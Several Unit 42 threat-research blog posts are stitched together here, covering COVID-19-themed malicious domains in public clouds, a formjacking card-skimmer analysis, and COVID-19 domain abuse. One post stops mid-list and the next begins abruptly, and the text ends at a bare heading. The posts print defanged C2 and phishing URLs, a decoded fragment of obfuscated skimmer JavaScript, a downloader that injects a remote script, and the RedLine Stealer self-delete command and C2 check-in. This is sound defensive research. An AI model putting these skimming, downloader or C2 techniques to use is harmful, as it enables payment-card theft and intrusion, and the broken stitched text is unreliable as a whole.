Unit 42 researchers analyzed 1.2 million newly observed hostnames (NOH) containing keywords related to the COVID-19 pandemic from March 9, 2020 to April 26, 2020 (7 weeks). 86,600+ fully qualified domain names are classified as “high-risk” or “malicious” (C2, malware, or phishing), spread across various regions , as shown in Figure 1. The United States has the highest number of malicious domain names (29,007), followed by Italy (2,877), Germany (2,564), and Russia (2,456).
Unit 42 researchers found 56,200+ of the NOHs are hosted in one of the top four popular cloud service providers (CSPs), such as Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), and Alibaba:
70.1% in AWS
24.6% in GCP
5.3% in Azure
<.1% in Alibaba
During our research, we noticed that some malicious domains resolve to multiple IP addresses, and some IP addresses are associated with multiple domains. This many-to-many mapping often occurs in cloud environments due to the use of content delivery networks (CDNs) and can make IP-based firewalls ineffective. Some important findings in this research are:
On average, 1,767 high-risk or malicious COVID-19 themed domain names are created every day.
Of the 86,600+ domain names, 2,829 domain names hosted in public clouds are found as high-risk or malicious
79.2% in AWS
14.6% in GCP
5.9% in Azure
.3% in Alibaba
Adversaries are disguising malicious activities such as phishing and malware delivery in the cloud.
The higher price and more rigorous screening/monitoring process is likely making malicious actors less willing to host malicious domain names in public clouds.
Threats originating from the cloud can be more difficult to defend because malicious actors leverage the cloud resources to evade detection and amplify the attack. Organizations need to have a cloud-native security platform and a more advanced application-aware firewall to secure their environments. Palo Alto Networks continuously monitor the malicious newly observed hostnames. Prisma Cloud and VM-Series both provide layer-7 firewall capabilities in cloud environments to prevent malicious activities from these domain names.
Figure 1. 86,600+ high-risk or malicious domain names related to COVID-19 were observed in seven weeks.
COVID-19 Themed Domain Names
The COVID-19 related domain names studied in this research were obtained from the RiskIQ dataset. The dataset keeps track of the newly observed domain names that contain keywords related to COVID-19, including “coronav”, “covid”, “ncov”, “pandemic”, “vaccine,” and “virus.” Between March 9th to April 19th, 1.2M domain names were observed with one of these keywords. 86,607 domain names are categorized as high-risk or malicious by Palo Alto Networks URL Filtering. A site is classified as malicious if command and control (C2), malware distribution, or phishing are observed. A site is classified as high-risk if it was previously confirmed to be malicious, hosted on bulletproof ISPs, or shares domains with other malicious sites. We enriched the dataset using the Palo Alto Networks URL Filtering, AutoFocus, WHOIS database, and IP geolocation. Note that due to the size of the dataset, we were unable to individually verify the relationship between each domain name and the COVID-19 pandemic.
Figure 2 describes the number of NOHs containing each keyword and the number of these NOHs observed every week. Figure 3 illustrates the types of malicious domain names identified in the dataset. On average, 1,767 high-risk or malicious COVID-19 related domain names are created every day. Figure 1 visualizes where the malicious domain names are hosted. The United States has the highest number of high-risk or malicious domain names (29,007), followed by Italy (2,877), Germany (2,564), and Russia (2,456).
Figure 2. Newly observed hostnames containing COVID-19 related keywords from March 9, 2020 to April 26, 2020.
When focusing on the cloud-hosted domain names, 56,212 of the NOHs are hosted in one of the top 4 cloud service providers, AWS, Azure, GCP, or Alibaba. 39,494 (70%) of these domain names are hosted in AWS and only 61 (0.1%) of the domain names are hosted in Alibaba. Palo Alto Networks identified 2,829 cloud-hosted NOHs classified as “high-risk” or “malicious.” Figure 4 shows the distribution of NOHs across the 4 CSPs. The left plot is the distribution of all cloud-hosted NOHs, and the right plot is the distribution of “malicious” NOHs in public clouds. Note that Alibaba does not appear in the plot due to its low percentage (< 0.5%). It is interesting to see that only 5% of the NOHs are found high-risk or malicious in public clouds, while 7.5% of NOHs are found high-risk or malicious in the entire internet. We speculate that the higher price and more rigorous screening/monitoring process may make malicious actors less willing to host malicious domain names in public clouds. Note that researchers did not investigate why a large volume of NOHs were hosted on AWS as compared to other prominent CSPs. Nothing discovered during the analysis indicated fundamental vulnerability.
Figure 4. Distribution of NOHs in public clouds.
During the analysis on cloud-hosted malicious domains, we noticed that multiple domains may resolve to a single IP, and a single domain may be associated with multiple IPs. The first scenario often occurs when the domains are hosted in a CDN, such as Amazon Cloudfront or Cloudflare. In a CDN, hundreds or thousands of domains in the nearby geographical location may resolve to the same IP of an edge server. CDNs reduce network latency and improve service availability by caching the static web content on edge servers. However, because a malicious domain shares the same IPs as other benign domains in the same CDN, it also acts as a cover for malicious domains. In our analysis, a Cloudflare IP 23.227.38[.]64 is associated with more than 150 risky or malicious domains. E.g., covid-safe[.]shop, cubrebocascovid[.]com, www.covidkaukes[.]lt, protection-contre-le-coronavirus[.]com. In the same dataset, more than 2,000 other benign domains also resolve to the same IP.
In the second scenario, when a single domain name resolves to multiple IPs, the domain name may have a set of redundant hosts all serving the same content, or the domain name may again be hosted in a CDN. If a domain name has multiple redundant hosts, a DNS will hold multiple A records for this domain name. If a domain name is hosted in a CDN, the domain name can resolve to different IP addresses based on the client's location. The IP of the closest edge server is always returned when a client queries DNS servers for this domain name. In our analysis, the domain name covid19-fr.johanrin[.]com resolves to 28 different IPs where each IP belongs to an Amazon CloudFront edge server. E.g., 52.85.151[.]68, 99.84.191[.]82, 13.249.44[.]82, 54.192.30[.]118.
This many-to-many domain name to IP mapping makes it difficult to block malicious domain names by IP addresses. A denylisted IP in a layer-3 firewall may fail to block the traffic to/from a malicious domain while unintentionally making many other benign domain names unreachable. A more intelligent layer-7 firewall is necessary to inspect the domain names in the application layer and selectively pass or block sessions.
Conclusion
Cyber threats are evolving rapidly and leveraging real-world events to deceive victims. With COVID-19 driving a surge in cloud adoption, we see not only attacks targeting the cloud users but also threats originating from the cloud. With thousands of malicious domains coming online every day, it is imperative to protect every endpoint with continuous monitoring and automatic threat prevention tools because cloud-hosted applications and services are exposed to the same threats as non-cloud endpoints. The problem becomes even more complicated when working in a multi-cloud environment. Due to the complexity of cloud management, user-induced misconfigurations lead to the most security incidents. Cloud Native Security Platforms (CNSPs) help organizations monitor and secure resources across multiple cloud providers, workloads and hybrid cloud environments.
Palo Alto Networks customers are already protected from these threats by:
The rise of the Internet has contributed positively in many ways to people's lives and you can find almost any service on the internet now. However, the convenience of the internet also opens a gate to use malware to steal people's confidential information, and unfortunately, more and more malware authors are taking advantage of this.
Formjacking, where cybercriminals inject malicious JavaScript code to hack a website and take over the functionality of the site's form page to collect sensitive user information, is one of the fastest growing forms of cyber attack. It is designed to steal credit card details and other personal information from payment forms that are captured on the “checkout” pages of e-commerce websites.
When a user unknowingly visits a compromised shopping website which has been hacked, they put items in their cart and go to checkout, inputting their credit card information (e.g. Name, address, email, credit card number, CVV, expiration date, etc.) on the checkout page. When they click the "checkout" or "submit" button, a malicious code collects the users' input information and sends it to an attacker’s Command & Control (C2) server. The original purchase request is unaffected by this and the user receives their products as expected. Many large websites have been compromised using this technique, such as British Airways, Ticketmaster, Delta, Newegg and Topps.com Sports Collectibles.
The process flow is in Figure 1, below:
Figure 1. Formjacking process flow
Writing formjacking code and deploying it to a compromised site is not very difficult for an attacker to do and allows them to steal credit card information quickly and easily without needing to deploy malware or compromise a system.
This makes it very attractive for attackers, especially considering e-commerce service is very popular today.
This blog provides a deep-dive into how formjacking code works. Palo Alto Networks customers are protected from this type of attack: WildFire detects and correctly identifies formjacking attacks as malicious and PANDB also identifies the URLs as malicious.
Taking var1 as an example, we break it down into three parts:
["W*![EnTa/mKelU*R=R'3/ngu8mpe/rqxo7N_EcglaDrvtla5qoK'!]" is the first part and is an encrypted string.
[(785034646 * "kNL7xIvgS.\x85j}_K=" ["charCodeAt"](2) + 22.0)["toString"](("Y^8ZH/D:0$or5<+\x8aqU" ["charCodeAt"](3) * 0 +36.0))] is the second part.
We can calculate (785034646 * "kNL7xIvgS.\x85j}_K=" ["charCodeAt"](2) + 22.0) to get 59662633118.
We can also calculate ("Y^8ZH/D:0$or5<+\x8aqU" ["charCodeAt"](3) * 0 +36.0)) to get 36.
So the second part is the same as (59662633118).toString(36), which means the result is "replace" string, refer to toString function documentation.
(/[\!8ET\/WNl5vRDpgUqKx37]/g, "") is the third part, which is a regex pattern.
Since var1 is the same as "xxxxx".replace(/[\!8ET\/WNl5vRDpgUqKx37]/g, ""), that means it uses the regex to decrypt the string. After decryption, var1 is "*[name*='numero_cartao']".
Finally we can deobfuscate the above code to below:
It creates a listener on the "DOMContentLoaded" and "load" events, so once a page finishes loading, it will execute the sHv function, which creates a timer to execute the yFj function every 7 seconds.
The yFj function will scan all payment-related buttons in the page using ("button[onclick*='.save']" and "button[class*='checkout']"). If one exists, it will create "click" and "mousedown" listeners with the event function zTI.
When a user clicks a related button, the zTI function is triggered and it will collect any values from below the html element by document.querySelector (see the pa4 function), and these values include credit card information:
Then it will call the hZy and F8S functions to encrypt the collected data.
At last, it will call the wIW function to send the data to the remote server.
The main process flow is shown below in Figure 2.
Figure 2. Formjacking code flow
Simply to say, it will listen to the “click” event, once you click, it will collect all payment information which you fill in form, and send it to the C2 server.
An Advanced Example
An advanced Formjacking sample can hide itself more craftily, which makes it very hard to be tracked. We use the below SHA256 for this analysis.
Create a PFG variable, which is a string constructor function.
Use a loop to decrypt the stage 2 code and assign it to the qKn variable.
Overwrite the hAn.toString function with the PFG.constructor(qKn).constructor.
Execute the hAn.toString() function so it will execute "xxx".constructor(qKn).constructor(), which will execute qKn as code. In step 2, qKn was assigned as the stage 2 code.
Next we analyzed the stage two code, hash shown below.
It uses a "regex" to obfuscate the code, which we mentioned before. After deobfuscation, we can figure out it is only a downloader as it only:
Creates a DOM element: cdn=document.createElement("script")
Sets the element source url to: cdn.src="hxxps://xxxxxx[.]com/js/content.js";
Appends this element to the DOM tree.
So it would download stage 3 code from hxxps://myxintad[.]com/js/content.js, but the URL is no longer accessible. While we can not get its content, our previous analysis shows attackers can use powerful JavaScript to do lots of things:
Obfuscate and encrypt code.
Only put a downloader in a target website, and put the real malicious code in their own remote server. This allows attackers to change its content easily and decide when it is accessible.
Create multi-stage malware to make it more difficult to track, as in this case with stages 1 through 3…it can greatly frustrate researchers.
More Advanced Skills
Sometimes, malware authors will use some advanced skills to make code difficult to debug. We use the below hash for this example. It is similar to the one analyzed above, but it has extra anti-debug code, shown obfuscated below.
The code uses two skills to make it hard to be analyzed:
It checks if you are using Firebug debugger to debug code.
It uses a JavaScript conditional operator to execute different branch code for different detection results. Sometimes malware even uses cascading javascript conditional operators, like "condition1 ? aaa: (condition2? bbb: (condition3? ccc: ddd)))", that is very very hard to set a debug breakpoint.
Conclusion
JavaScript is not a new technology, it has been in use for more than 20 years, and is continuously updated. Today, most websites use Javascript, and we believe JavaScript attacks like formjacking are becoming a trend.
To mitigate risks, online retailers and e-commerce sites are advised to patch all of their systems, components, and web plugins to avoid being compromised. Additionally, it’s best practice to regularly conduct web content integrity checks offline to see if your pages were edited and had malicious JS code inserted by attackers. Lastly, make sure you’re using strong passwords on your content management system (CMS) administrators to make it less susceptible for brute force attacks.
For consumers shopping on these sites, we recommend paying via the one-time payment option that’s frequently offered (e.g. PayPal. Visa Secured, etc.) instead of your credit card whenever possible. If you believe your credit card information was stolen as a result of a recent online purchase, you should contact your bank to freeze or change your card immediately. Additionally, consider putting a freeze on your credit so that new accounts can’t be opened up using your personal information.
Palo Alto Networks customers are protected from this type of attack: WildFire detects and correctly identifies formjacking attacks as malicious and PANDB also identifies the URLs as malicious.
Acknowledgements
We would like to thank Kyle Wilhoit, Jen Miller Osborn and Mark Karayan for their advice and help with improving the blog.
With the spread of the coronavirus worldwide, interest is high in related topics. Accordingly, Unit 42 researchers found an immense increase in coronavirus-related Google searches and URLs viewed since the beginning of February. Cybercriminals are looking to profit from such trending topics, disregarding ethical concerns, and in this particular case preying on the misfortunes of billions.
To protect customers of Palo Alto Networks, Unit 42 researchers monitor user interest in trending topics and newly registered domain names related to these topics, as miscreants often leverage them for malicious campaigns. Accompanying the growth in user interest, we observed a 656% increase in the average daily coronavirus-related domain name registrations from February to March. In this timeframe, we witness a 569% growth in malicious registrations, including malware and phishing; and a 788% growth in “high-risk” registrations, including scams, unauthorized coin mining, and domains that have evidence of association with malicious URLs within the domain or utilization of bulletproof hosting. As of the end of March, we identified 116,357 coronavirus-related newly registered domain names. Out of these, 2,022 are malicious and 40,261 are “high-risk”.
We analyzed these domains by clustering them based on their Whois information, DNS records and screenshots (collected by our automated crawlers) to detect registration campaigns. We found that while many domains are registered to be resold for a profit, a significant fraction of them are used for both well-known malicious activities as well as for fraudulent shops selling items in short supply. The traditional malice abusing coronavirus trends includes domains hosting malware, phishing sites, fraudulent sites, malvertising, cryptomining, and black hat Search Engine Optimization (SEO) for improving search rankings of unethical websites. Interestingly, although many webshops that use newly registered domains try to scam users, we detected an especially unethical cluster of domains capitalizing on users’ fear of coronavirus to further frighten them into buying their products. Moreover, we discovered a group of coronavirus-themed domains, which now serve parked pages with high-risk JavaScript that may at any time start redirecting users to malicious content.
In this blog, we first showcase the increasing trend of user interests in coronavirus-related topics on the Internet, with data from both Google Trends and our service traffic logs. Second, we illustrate the significant increase in domain registration activities recently for domain names containing coronavirus-related keywords. Third, we present a detailed case study on how cybercriminals are abusing and monetizing such user interests on the Internet. Finally, we conclude with a discussion of best practices.
Note that all the malicious websites and malware attacks mentioned in this blog have been covered ahead of time by various security service offerings of Palo Alto Networks, including URL Filtering, DNS Security, WildFire, and Threat Prevention.
Increase in User Interest of Coronavirus-related Topics
Figure 1. Trend of users searching coronavirus related keywords
Using Google Trends and our traffic logs, we observed a steep increase in user interest of topics related to coronavirus. In Figure 1, we can see how interested users are in coronavirus-related keywords based on Google Trends. In particular, we see three prominent peaks at the end of January, the end of February, and the middle of March 2020. The first peak aligns with the virus outbreak in China, the second peak signifies the first US case of unknown origin, and the third peak is at the same time as the virus outbreak in the US. One interesting exception in Figure 1 is alcohol, as users have an interest in it all year round, with a peak at Christmas. Intuitively, the year round interest in alcohol is for drinking it, however the peaks aligned with coronavirus are for medical alcohol.
Figure 2. Trend of users visiting coronavirus related URLs
Matching our observations about user interest from Google Trends, we see in Figure 2 a near ten-fold increase in the number of unique coronavirus-related URLs visited by our customers comparing early February to late March.
The increased user interest in coronavirus presents a lucrative opportunity for cybercriminals to profit from this pandemic. A common method for crooks to benefit from trending topics is to register domain names that include related keywords, such as “coronavirus” or “COVID”. These domain names often host legitimate-looking content and are used for a wide variety of malicious activities, including tricking users into downloading malicious files, phishing, scams, malvertisement and cryptocurrency mining.
To combat criminals employing coronavirus-related domain names, we obtain keywords from trending topics. First, we automatically extract keywords using the Google Trends API. Then we manually select the keywords most relevant to coronavirus. Finally, using our set of keywords, we closely monitor newly registered coronavirus-related domain names.
The Rise of Coronavirus Domain Names
Unit 42 has been tracking newly registered domains (NRDs) for more than nine years and has previously published a comprehensive analysis of them. To study the emerging threats abusing COVID-19, we retrieved NRDs containing coronavirus-related keywords from January 1, 2020 to March 31, 2020. Our system detected 116,357 related NRDs during this period, with roughly 1,300 domains every day. Figure 3 presents the daily trend of new domain name registrations detected during our study period. We found an increase in the number of coronavirus domains over time, and after March 12, we detected over 3,000 new domains every day. Apart from the general trend of growth, we also observed sudden increases in the number of domains registered. These increases in registrations follow the peaks in user interest seen in Google Trends with a few days of delay.
We used Palo Alto Networks’ threat intelligence, including our DNS Security service and URL Filtering service, to evaluate coronavirus-related NRDs. We classify NRDs into two categories. First, malicious NRDs include domains used for command and control (C2), malware distribution and phishing. Second, high-risk NRDs contain scam pages, pages with insufficient content, coin miners, and domains associated with known malicious or bulletproof hosting. While in this blog, we separate our categorization into malicious and high-risk, URL Filtering service provides our customers a more fine-grained categorization of domain names as described in this document.
During our analysis, we identified 2,022 malicious and 40,261 high-risk NRDs. The malicious rate is 1.74% and the high-risk rate is 34.60%. Among the malicious domains, 15.84% are involved in phishing attacks trying to steal users’ credentials, and 84.09% are hosting different kinds of malware, including Trojans and info stealers. Different from phishing and malware, we only found a couple of domains used for C2 communication.
Supporting our previous observations, the increase in the average daily number of coronavirus-related domains from February to March is 656%. We witness a similar trend of malicious and high-risk coronavirus domains, with 569% and 788% growth, respectively. In Figure 3, we can observe that malicious registrations follow NRD trends, in some cases even exceeding them.
Figure 4. Daily customer DNS query trends related to coronavirus
Additionally, we find that even though these domains were recently registered, we have observed - in total - 2,835,197 DNS queries (caching excluded) for these domains according to the Passive DNS data that we collect. Furthermore, an average malicious NRD is queried 88% more than an average non-malicious NRD, which aligns with attackers’ incentives to utilize their domains before they get blacklisted. Figure 4 shows the daily trends of DNS queries observed in our Passive DNS database using a seven-day moving average. We notice a steep increase on March 16 in the number of benign and malicious NRDs queried. This increase correlates to our previous observation of user interest and domain registrations peaking a few days before due to the virus outbreak in the US.
Figure 5. Most abused keywords in NRD
The keyword set we use for our analysis contains terms specific to the coronavirus pandemic like “coronavirus” and “COVID-19”. We also leverage more general ones such as “pandemic” and in addition to words directly related to the virus, we also include keywords related to supplies running out, such as “facemask” and “sanitizer”.
In Figure 5, we list the top 15 keywords which matched the most NRDs. In general, the specific terms are more favorable for registrants, and there are several registration campaigns for related supplies. Apart from the detection count, these popular keywords have risk levels above average (>40% high-risk rate), which means they’re more likely to be abused. On the other hand, their malicious rate is similar to average keywords. A special case is “virusnews” matching 344 NRDs, where 33% of them are malicious.
How Attackers Are Abusing the Coronavirus Pandemic
Observing the increase in malicious and high-risk coronavirus NRDs, we analyzed these domains further to understand how cybercriminals utilize them. We start by clustering domain names based on Whois information and DNS records, including registration date, registrar, registrant’s organization, Autonomous System Number (ASN) and name service provider. Additionally, we cluster domain names based on their main webpage’s visual similarity. We employ the k-nearest neighbor algorithm using the last layer of the DenseNet 201 model from the Keras library as features. Building on our clusters, we found several malicious or abusive registration campaigns, which we will discuss alongside with typical scenarios of malicious use cases.
Phishing User Credentials with Coronavirus Domains
The goal of phishing attacks is to trick users into sharing their credentials and personal information with the attackers. Among coronavirus domains, we observe classic phishing schemes where attackers send an email to our customers with a link to a fake website mimicking a legitimate brand’s or service’s website to fool users into giving away their login credentials.
Figure 6. Domain corona-masr21[.]com hosting a Bank of America phishing pageWe detected a cluster of 20 domains registered on the same day following the corona-masr*.com pattern, where * is a number anywhere from 1 to 101. While there are 101 possible domain name variations in this range, only 20 were registered. In Figure 6, we see an example of a phishing URL hxxp[:]//corona-masr21[.]com/boa/bankofamerica/login.php targeting Bank of America. The goal of attackers is to persuade users that they need to login on this fake webpage and that the bank owns it. This cluster also includes phishing URLs imitating other services including http[:]//corona-masr21[.]com/apple-online targeting Apple’s login page and hxxps[:]//corona-masr3[.]com/CAZANOVA%20TRUE%20LOGIN%20SMART%202019/ targeting PayPal’s login pages. Another phishing campaign was targeting Outlook accounts from the corona-virusus[.]com and coronavirus-meds[.]com domains.
In addition, we found that those domains serving phishing pages also host zipped files with their malicious source artifacts. Those include HTML and PHP source codes of phishing “front-ends” (corona-masr4[.]com/test.zip), as well as codes to send out spam emails and filter out requests from benign web crawlers (corona-virusus[.]com/OwaOwaowa.zip). This is a common practice by malicious campaigns to host and distribute packed versions of malicious payloads, which can be downloaded by a dropper on another compromised website.
Figure 7. Bank of America’s legitimate website
Users can check three main indicators, shown in Figure 7, to ensure they are not the victim of a phishing attack. First, they need to make sure that the domain portion of the URL is the expected domain name owned by the service where they try to log in. Second, users need to make sure that there is a lock icon on the top-left side, signifying that they are connected via a valid HTTPS connection, therefore preventing man-in-the-middle (MiTM) attacks. Finally, users can verify if the domain name matches the owner of the certificate.
Coronavirus Domains Hosting Malicious Executables
Many newly-registered COVID-19 domains were identified as being associated with malware activity. One such domain, covid-19-gov[.]com, warrants special attention, as it is consistent with similar RedLine Stealer activity previously reported by Proofpoint.
Although the initial infection vector utilized to direct potential victims to the above site remains unclear, Unit 42 researchers identified a RedLine Stealer sample being hosted at the URL covid-19-gov[.]com within a ZIP file. When the contents of the ZIP file were extracted, the RedLine Stealer binary was revealed to have the filename Covid-Locator.exe.
When executed, the sample first opens Internet Explorer and attempts a connection to hxxp://localhost:14109. It then initiates an HTTP POST request to the URL hxxp://45.142.212[.]126:6677/IRemotePanel, which is consistent with RedLine Stealer check-in behaviors. After the check-in is made and the remote C2 server issues an HTTP 200 OK response, data exfiltration from the host begins:
Figure 8. Network traffic from RedLine Stealer data exfiltration
Of particular note is the use of the URL hxxp://tempuri[.]org/IRemotePanel/SendClientInfo in the SOAPAction HTTP header field. The domain tempuri[.]org is not directly related to the malicious activity, but is a standard default placeholder domain for web services in development. According to established web service implementation best practices, this field should be updated to reflect an appropriate namespace so that a given web service can be uniquely distinguished and identified. That said, this detail is occasionally overlooked by even legitimate web services, and thus tempuri[.]orgshould not be considered an IOC for the purposes of threat identification.
Other interesting host-based behaviors of this RedLine Stealer variant include the execution of this command in a hidden command prompt window:
cmd.exe" /C taskkill /F /PID <RedLine Stealer PID> && choice /C Y /N /D Y /T 3 & Del “”
Based on the contents of the command, it can be inferred that the intent of the malware author was to ensure that, when executed via cmd.exe, this command would kill the running instance of the RedLine Stealer malware via its process identifier (PID), initiate the deletion of the directory in which the RedLine Stealer malware was present, and attempt to answer the deletion prompt programmatically with a Y response. However, there are two problems with this approach. The first is that the concept does not appear to be sound to begin with. The use of the choice command for this use-case will not produce the desired result. Secondly, while the command in its current state does sufficiently kill the running instance of the malware and initiates a choice of Y (which is then automatically selected after three seconds have elapsed as per the /T switch of the command), it offers this choice before the file deletion prompt appears. Meaning that, even if choice could be used in this way, it still wouldn’t work.
Additionally, this RedLine Stealer variant does not appear to generate additional malicious files on disk, create/alter any mutexes, or attempt to establish host-based persistence.
In addition to RedLine Stealer, we also detected other examples of malware delivery using coronavirus domains. Another such example, hosted at corona-map-data[.]com/bin/regsrtjser346.exe, was identified as the Danabot banking Trojan.
We also identified several instances of coronavirus-themed malware intended to victimize mobile users. Specifically, we identified three malicious Android applications on the domain Corona-virusapps[.]com served from URLs matching the schema Corona-virusapps[.]com/s<1-3>/CoronaVirus-apps.apk.
We also identified two others at coronaviruscovid19-information[.]com/it/corona.apk, and coronaviruscovid19-information[.]com/en/corona.apk, respectively.
All aforementioned APKs were identified as generic Trojans.
While a full in-depth analysis of the Danabot sample and the various APKs is beyond the scope of this blog, we have included additional relevant details in the IOC section.
Coronavirus Domains for C2 Communication
C2 domains are used by malware to “phone home” for receiving commands as well as for data exfiltration. While cybercriminals are mainly using coronavirus-related domains for malware, phishing, and scams, we also observe cases where they are involved in C2 communication.
Figure 9. NATsupport network communication
The domain covidpreventandcure[.]com is used by a malicious NATSupportManager remote access tool (RAT) sample. From the network traffic shown in Figure 9, we see that the domain resolves to 5.181.156[.]14. Then it sends multiple POST requests to hxxp://5.181.156[.]14/fakeurl.htm as well as TCP packets to port 443. As shown in Figure 10, the POST communication is based on HTML forms that the C2 server attaches to the encoded command and payload in the HTTP response while the Trojan sends out the encoded stolen data.
Figure 10. HTML form communication
covidpreventandcure[.]com was registered on March 26. We started observing related DNS traffic two days later and it was active until April 11. There was a significant increase of DNS traffic resolving this domain in April, indicating a possible spike in related compromises. The Trojan also tried to resolve another unregistered COVID-19 covidwhereandhow[.]xyz, which is likely in preparation for future attacks.
Another COVID-19 domain observed in use by malware was coronavirusstatus.space. This domain was associated with an AzoRult downloader purporting to be a global COVID-19 tracking application.
Scam Webshops Advertising Short Supply Items
We identified several high-risk domain registrations, where miscreants create fake webshops and try to scam users into buying short supply items. There are many indicators of fraudulent webshops that users can use as clues to avoid becoming victims. For example, often these webshops advertise deals that are too good to be true in the current coronavirus pandemic, it means they offer high-demand items like face masks or hand sanitizers for a discounted price. If we additionally find that the webshop is new, then it is time to look for more clues. Additional example indicators include pressing users to purchase immediately or miss the deal, fake reviews, fake contact information, cut and pasted text on the webshops, grammatical errors, and keyword-stuffed pages.
Figure 11. allsurgicalfacemask[.]com scam websiteA particular group registered two domains allsurgicalfacemask[.]com and surgicalfacemaskpharmacyonline[.]com. These sites advertise facemasks in high demand. The only differences between the two sites are the contact information used and the fake user testimonials.
When visiting these scam websites, our suspicion starts when they claim to have been operating since 1996, as illustrated in Figure 11. However, we find both domains are only one-month old, coinciding with the rise of the coronavirus pandemic. Next, we observe a mismatch in country and domain registration information. The domain names are registered in India, while one website has the address and phone number for France. The other site has an address in Germany, but the phone number is in the US.
Searching for the German address “Mohrenstrasse 37 10117 Berlin”, we find it is actually a government building for the Federal Ministry of Justice and Consumer Protection in Berlin. The French address “6 Rue Boreau, 49100 Angers, France” appears to be a personal residence.
Figure 12. allsurgicalfacemask[.]com fake testimonialsFurthermore, we find poorly written, simple, and most likely fake testimonials on both pages following the same style of writing as shown in Figure 12. A final clue is their preference to be contacted through WhatsApp number “+33 752 56 3071”, which is highly unusual for a well-established business operating since 1996.
Figure 13. selectsanitizer[.]com user reviews from before the domain was registeredNext, we find hard-to-get hand sanitizers offered on selectsanitizer[.]com for a discounted price, warranting further investigation. We encounter favorable user reviews about the sole item sold on this site. We discovered that some of the reviews, presented in Figure 13, date back to November 2019, while the domain was registered only in March 2020. Searching for the text of the newer reviews, we found that they were copied from other sites offering hand sanitizers, including an Amazon review. Finally, at checkout, the webshop alerted us that their stock is low, conveying a sense of urgency.
Card Skimmer Webshops
Figure 14. Example of a pandemic popular store with an embedded card skimmer
In addition to suspicious fraudulent stores on coronavirus-related domains, we detected web skimmer scripts on other stores which also sell pandemic-relevant goods. An example store www.sunrisepromos[.]com/promotional-personal-care-accessories/personalized-hand-sanitizer.html is shown in Figure 14.
These stores include credit card validation scripts with injected malicious code, which sends out your credit card information as soon as you finish typing it. An injected snippet is shown in Figure 15. Upon a page load, the script checks whether the page is a relevant checkout page by matching its URL against a list of regex, and starts periodic attempts to collect and send an entered credit card number every 150 ms. In particular, it calls function send, which first adds event listeners to form submit and button click events in order to collect entered inputs, and then it checks collected information against a regex for credit numbers before sending out to a potentially compromised path at /js/index.php. Given that such websites are developed with Magento framework, we suspect this to be a variation of Magecart skimmer implants. This activity is very similar to activity reported by Magento users on its customer forum in 2016.
Figure 15. Credit card skimmer code found on several websites selling pandemic-related goods
Feeding on Coronavirus Fears for Profit
Figure 16. survivecoronavirus[.]org scaring users into buying their survival bookInterestingly, we found a group of websites building on peoples’ already existing fears of coronavirus and trying to scare them further into buying their ebook as shown in Figure 16. First, they play a disturbing video about the scariest situations and events related to coronavirus, then they advertise the book as the key to survive this pandemic.
We found a cluster of eight domains registered to perpetrate this scam, including coronavirussecrets[.]com and pandemic-survival-coronavirus[.]com. When we attempted to buy their book, we landed on the site buygoods[.]com -- a site with mixed reviews from customers on San Diego Consumers’ Action Network's and on Better Business Bureau's websites. The article on San Diego Consumers’ Action Network's calls them info scammers, which they define as “selling misleading or false information to consumers at inflated prices using fraudulent tactics”. Additionally, many users report that they did not receive the item for which they paid.
Coronavirus Domains to Spread Classic Scams
Figure 17. Example of a technical support scam page on covid19center[.]onlineClassic scam campaigns also take advantage of the popularity coronavirus domains have. For example, we detected a well-known technical support scam campaign served from coronavirusaware[.]xyz and covid19center[.]online, illustrated in Figure 17. For the past half a year, this scam campaign was seen on over 3,000 unique domains and IP addresses (using behavioral signatures described in this paper). The attackers aim to scare web users and make them call and eventually get them involved in scam communication.
Another example is the WhatsApp fake “free internet” scam campaign, which was previously seen using different WhatsApp-related domains (such as whatsapp[.]version[.]gratis and whatsapp[.]cc0[.]co), but now uses internet-covid19.xyz. Interestingly, this campaign is reusing the same Google Analytics ID across its domains - UA-108418953-1 (more on tracking campaigns via analytics IDs can be found in this paper).
Illicit Pharmacies
Figure 18. anticovid19-pharmacy[.]com illicit pharmacyResearchers have long studied illicit online pharmacies, and we found a cluster of three coronavirus domains hosting similar pharmacies, as shown in Figure 18, which are covid19-remedy[.]com, rxcovid[.]com and anticovid19-pharmacy[.]com. The same researchers have discussed that these pharmacies are unlicensed and leverage compromised websites to increase their placement in search results for keyword combinations such as “cheap viagra”. Even worse, these pharmacies might sell drugs with incorrect and potentially dangerous doses. While the domain names suggest that these stores sell remedies for coronavirus, they mainly advertise Viagra and other drugs unrelated to the virus.
Abuse of Coronavirus Trends for Black Hat SEO
The increased interest in a topic can be leveraged to attract traffic for websites. Black hat SEO describes a collection of techniques used to artificially make a website appear on top of search engine results for certain keywords.
Figure 19. coronavirus-latest-update[.]info which looks like a coronavirus informational pageWe find a cluster of nine coronavirus-related domains used for black hat SEO. All of the domains host similar informational pages about coronavirus like coronavirus-latest-update[.]info shown in Figure 19. However, these websites are not actual informational pages. First, we can observe many links to sharkroulette[.]com, a Bitcoin-based online casino. Second, even if we try to click on a link that promises to redirect to coronavirus-com[.]info, we will still be redirected to sharkroulette[.]com due to JavaScript overlay on links.
Proactive Registrations of Suspicious Parked Pages
Figure 20. Example of a suspicious parked registration on coronavirus2day[.]comIllustrated in Figure 20, we observe numerous suspicious parked pages hosted on newly registered coronavirus-themed domains. For example, one type of parked pages was found on more than 200 unique coronavirus-themed domains. Such pages all load a potentially malicious JavaScript from a parent URL http[:]//cdn[.]dsultra[.]com/js/registrar.js.
A partial snippet of the script is shown below. Upon a page’s load, the dL function is executed, which sends out a request with URL, Referrer, timestamp, and cookie information to hashtag.sslproviders[.]net (note, the particular subdomain was observed to change with reloads of the script). Then, it listens to a response in the bL function and will redirect the user's browser to any destination received by changing the parent.top.window.location.href value. Although in many of the observed cases it does not receive a new destination URL in the response, the script itself could ultimately serve as a potentially malicious arbitrary URL redirector.
Figure 21. Partial snippet of a malicious redirector found over many coronavirus-themed parking domains
IP Loggers on Coronavirus Domains
Figure 22. coronavirus-game[.]ru serving IP loggersSome content-rich coronavirus-related websites include suspicious scripts. A good example of such scripts are IP loggers, e.g. on coronavirus-game[.]ru (Figure 22), there is an obfuscated script, which drops an invisible iframe that sends user’s IP addresses to the legitimate IP logging service, iplogger[.]org.
Coronavirus Websites with (Dead) Cryptojacking Scripts
